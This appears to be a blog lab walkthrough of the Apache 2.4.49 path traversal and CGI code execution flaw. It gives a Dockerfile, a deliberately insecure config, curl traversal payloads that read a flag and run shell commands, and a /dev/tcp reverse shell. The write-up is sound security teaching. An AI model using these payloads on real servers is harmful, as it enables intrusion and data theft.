          <td><code class="language-plaintext highlighter-rouge">httpd 2.4.49</code> normalization bug</td>
          <td>Traversal fails — path decoded before check, Apache blocks it</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">mod_cgi</code> loaded</td>
          <td>Apache has no execution handler — <code class="language-plaintext highlighter-rouge">cgi-bin</code> URL just returns 403 or serves the file as binary</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">--with-mpm=prefork</code></td>
          <td><code class="language-plaintext highlighter-rouge">mod_cgi</code> cannot load under threaded MPMs — no execution possible</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">ScriptAlias /cgi-bin/</code></td>
          <td>No URL prefix triggers the mod_cgi handler</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">Options +ExecCGI</code></td>
          <td>mod_cgi refuses to execute even if handler is assigned</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">Require all granted</code> on <code class="language-plaintext highlighter-rouge">&lt;Directory /&gt;</code></td>
          <td>Traversed path hits the root directory block and gets denied</td>
        </tr>
      </tbody>
    </table>

    <p>This is the textbook definition of a <strong>vulnerability chain</strong> - each individual component is a known behavior, but their intersection creates an impact none of them produces alone. Path traversal let the attacker <strong>escape the directory</strong> that access controls protected; mod_cgi was already waiting with instructions to <strong>execute</strong> whatever file the URL resolved to; and <code class="language-plaintext highlighter-rouge">/bin/sh</code> turns stdin into command execution - so the POST body became a shell, and the HTTP response became the output.</p>

  </div>
</section>

<section>

  <h2 class="section-label" id="vulnerable-lab-setup">Vulnerable Lab Setup</h2>

  <div class="description">

    <p>I have set up a vulnerable lab, running Apache 2.4.49 version, and our goal is to successfully exploit this vulnerable machine, and get the file named <em>flag.txt</em>, located in <code class="language-plaintext highlighter-rouge">/secrets</code>. For this, we will be utilising the <em>Docker</em> environment, by using the following Dockerfile.</p>

    <p><strong>Assumptions :</strong></p>

    <ul>
      <li>
        <p>We(the attacker) does not know the version of the Apache server running in the system yet.</p>
      </li>
      <li>
        <p>You have docker, curl and netcat preinstalled in your system.</p>
      </li>
    </ul>

    <h3 id="building-the-vulnerable-machine">Building the vulnerable machine</h3>

    <p><strong>Dockerfile :</strong> save the following code in a file called Dockerfile, in some safe directory like <code class="language-plaintext highlighter-rouge">~/Downloads/labs/cve-2021-47731.</code></p>

    <div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> debian:bookworm-slim</span>

<span class="k">RUN </span>apt-get update <span class="o">&amp;&amp;</span> <span class="se">\
</span>    apt-get <span class="nb">install</span> <span class="nt">-y</span> <span class="nt">--no-install-recommends</span> <span class="se">\
</span>        build-essential <span class="se">\
</span>        ca-certificates <span class="se">\
</span>        curl <span class="se">\
</span>        libapr1-dev <span class="se">\
</span>        libaprutil1-dev <span class="se">\
</span>        libpcre2-dev <span class="se">\
</span>        libpcre3-dev <span class="se">\
</span>        perl <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> <span class="nt">-rf</span> /var/lib/apt/lists/<span class="k">*</span>

<span class="k">WORKDIR</span><span class="s"> /tmp</span>

<span class="k">RUN </span>curl <span class="nt">-fsSLO</span> https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">tar</span> <span class="nt">-xzf</span> httpd-2.4.49.tar.gz <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">cd </span>httpd-2.4.49 <span class="o">&amp;&amp;</span> <span class="se">\
</span>    ./configure <span class="se">\
</span>        <span class="nt">--prefix</span><span class="o">=</span>/opt/httpd <span class="se">\
</span>        <span class="nt">--with-mpm</span><span class="o">=</span>prefork <span class="se">\
</span>        <span class="nt">--enable-so</span> <span class="se">\
</span>        <span class="nt">--enable-cgi</span> <span class="se">\
</span>        <span class="nt">--enable-mods-shared</span><span class="o">=</span>all <span class="o">&amp;&amp;</span> <span class="se">\
</span>    make <span class="nt">-j</span><span class="s2">"</span><span class="si">$(</span><span class="nb">nproc</span><span class="si">)</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="se">\
</span>    make <span class="nb">install</span> <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">rm</span> <span class="nt">-rf</span> /tmp/httpd-2.4.49<span class="k">*</span> <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">mkdir</span> <span class="nt">-p</span> /opt/httpd/logs <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">chmod </span>755 /opt/httpd/logs

<span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /secrets /opt/httpd/cgi-bin <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">printf</span> <span class="s1">'editaCTF{c0ngr4tul4t10n5_y0u_pwn3d}\n'</span> <span class="o">&gt;</span> /secrets/flag.txt <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">printf</span> <span class="s1">'#!/bin/sh\nprintf "Content-Type: text/plain\\n\\n"\nprintf "Hello from CGI\\n"\n'</span> <span class="se">\
</span>        <span class="o">&gt;</span> /opt/httpd/cgi-bin/hello.cgi <span class="o">&amp;&amp;</span> <span class="se">\
</span>    <span class="nb">chmod</span> +x /opt/httpd/cgi-bin/hello.cgi

<span class="k">COPY</span><span class="s"> httpd.conf /opt/httpd/conf/httpd.conf</span>
<span class="k">EXPOSE</span><span class="s"> 80</span>

<span class="k">CMD</span><span class="s"> ["/opt/httpd/bin/httpd", "-D", "FOREGROUND"]</span>
</code></pre></div>    </div>

    <p><strong>Vulnerable Config :</strong> Create a vulnerable httpd config in the same folder and same level as the <em>Dockerfile</em> given above, named <em>httpd.conf</em>, whose configuration is given below.</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ServerRoot "/opt/httpd"
Listen 80
ServerName "127.0.0.1:80"
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_user_module modules/mod_authz_user.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule access_compat_module modules/mod_access_compat.so
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule reqtimeout_module modules/mod_reqtimeout.so
LoadModule filter_module modules/mod_filter.so
LoadModule mime_module modules/mod_mime.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule env_module modules/mod_env.so
LoadModule headers_module modules/mod_headers.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule version_module modules/mod_version.so
LoadModule unixd_module modules/mod_unixd.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
LoadModule dir_module modules/mod_dir.so
LoadModule alias_module modules/mod_alias.so
LoadModule cgi_module modules/mod_cgi.so

User daemon
Group daemon

DocumentRoot "/opt/httpd/htdocs"

&lt;Directory /&gt;
    AllowOverride None
    Require all granted
&lt;/Directory&gt;

&lt;Directory "/opt/httpd/htdocs"&gt;
    AllowOverride None
    Require all granted
&lt;/Directory&gt;

DirectoryIndex index.html
TypesConfig conf/mime.types

ScriptAlias /cgi-bin/ "/opt/httpd/cgi-bin/"

&lt;Directory "/opt/httpd/cgi-bin"&gt;
    AllowOverride None
    Options +ExecCGI
    Require all granted
&lt;/Directory&gt;

Alias /icons/ "/opt/httpd/icons/"

&lt;Directory "/opt/httpd/icons"&gt;
    AllowOverride None
    Require all granted
&lt;/Directory&gt;

ErrorLog "logs/error_log"
LogLevel warn
</code></pre></div>    </div>

    <p>One of the requirements for this vulnerability - that we can access any file is - Require all granted.</p>

    <p>Build the docker image :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker build <span class="nt">--network</span><span class="o">=</span>host <span class="nt">-t</span> cve-2021-41773 <span class="nb">.</span>
</code></pre></div>    </div>

    <p>This will take 5–10 minutes. Looks something like this</p>

    <p><img src="/assets/blogs/cve-1/cve-docker-build-output.png" alt="build-output" width="100%" /></p>

    <p>Confirm that the image exists :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker images | <span class="nb">grep </span>cve-2021-41773
</code></pre></div>    </div>

    <p>Start the container :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-d</span> <span class="se">\</span>
  <span class="nt">--name</span> apache-vuln <span class="se">\</span>
  <span class="nt">-p</span> 8080:80 <span class="se">\</span>
  cve-2021-41773
</code></pre></div>    </div>

    <p>Verify that the lab started :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check 1: if the target is up</span>
curl <span class="nt">-si</span> http://localhost:8080/ | <span class="nb">head</span> <span class="nt">-5</span>

<span class="c"># Check 2: get the server banner, provides version, or alternatively perform nmap -A scan</span>
curl <span class="nt">-si</span> http://localhost:8080/ | <span class="nb">grep</span> <span class="nt">-i</span> server

<span class="c"># Check 3: check the default cgi if it is alive</span>
curl <span class="nt">-s</span> http://localhost:8080/cgi-bin/hello.cgi

<span class="c"># Check 4: try reaching a vulnerable entry point. (note that in real scenarios, we would have to figure it out)</span>
curl <span class="nt">-si</span> http://localhost:8080/icons/ | <span class="nb">head</span> <span class="nt">-3</span>
</code></pre></div>    </div>

    <p>We get the output similar to this :</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Date: Wed, 30 Sep 2026 20:02:57 GMT

Server: Apache/2.4.49 (Unix)
Last-Modified: Wed, 30 Sep 2026 15:11:13 GMT
ETag: "21-65cb4b5c3dea6"
Server: Apache/2.4.49 (Unix)

CGI works

HTTP/1.1 403 Forbidden
Date: Wed, 30 Sep 2026 20:02:57 GMT
Server: Apache/2.4.49 (Unix)
</code></pre></div>    </div>

    <p>All those outputs confirm that the lab is perfectly set up, and the header reveals the version of the apache2 server that is running, with which the attacker (we) will be able to find a potential attacker surface - which in our case is this CVE.</p>

    <h3 id="exploiting-the-vulnerability">Exploiting the vulnerability</h3>

    <p>Exploiting the file disclosure :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">--path-as-is</span> <span class="se">\</span>
  <span class="s2">"http://localhost:8080/icons/.%2e/.%2e/.%2e/secrets/flag.txt"</span>
</code></pre></div>    </div>

    <p>You would have pwned the system if you get the flag :</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>editaCTF{c0ngr4tul4t10n5_y0u_pwn3d}
</code></pre></div>    </div>

    <p>Exploiting the RCE :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">--path-as-is</span> <span class="se">\</span>
  <span class="nt">-X</span> POST <span class="se">\</span>
  <span class="s2">"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/bin/sh"</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s2">"echo Content-Type: text/plain; echo; id; cat /secrets/flag.txt"</span>
</code></pre></div>    </div>

    <p>We would be getting this expected output :</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uid=1(daemon) gid=1(daemon) groups=1(daemon)
editaCTF{c0ngr4tul4t10n5_y0u_pwn3d}
</code></pre></div>    </div>

    <h3 id="starting-a-reverse-shell">Starting a Reverse Shell</h3>

    <p>Now that we are good to set up a reverse shell from the target system, for that just ensure that we have <code class="language-plaintext highlighter-rouge">netcat</code> installed in the system.</p>

    <p>Start the <code class="language-plaintext highlighter-rouge">nc</code> listener in our machine :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4444
</code></pre></div>    </div>

    <p>Then we need the IP address of our host computer - in this case, we use docker, so we type this command in the terminal to get our IP</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip addr show docker0 | <span class="nb">grep</span> <span class="s1">'inet '</span> | <span class="nb">awk</span> <span class="s1">'{print $2}'</span> | <span class="nb">cut</span> <span class="nt">-d</span>/ <span class="nt">-f1</span>
</code></pre></div>    </div>

    <p>Almost always, this is 172.17.0.1</p>

    <p>Fire the reverse shell in a new terminal :</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">--path-as-is</span> <span class="se">\</span>
  <span class="nt">-X</span> POST <span class="se">\</span>
  <span class="s2">"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/bin/sh"</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s2">"echo Content-Type: text/plain; echo; bash -i &gt;&amp; /dev/tcp/172.17.0.1/4444 0&gt;&amp;1"</span>
</code></pre></div>    </div>

    <p>That’s it, we are inside the target system. In this case, suppose the target system running the server is a root user, we will get direct admin previllege. In case, the website host is good enough to isolate the users, then we would end up in a less previlleged state, yet inside the system.</p>

    <p>This reverse shell, may or may not succeed in docker environment based on specific system configurations. But this is how the reverse shells typically spawn.</p>

    <p><strong>NOTE : This is just for educational purposes.</strong></p>

  </div>
</section>]]></content><author><name>dream-wa1ker</name></author><category term="cve" /><category term="apache" /><category term="2021" /><category term="path-traversal" /><category term="logic-bug" /><category term="rce" /><summary type="html"><![CDATA[]]></summary></entry></feed>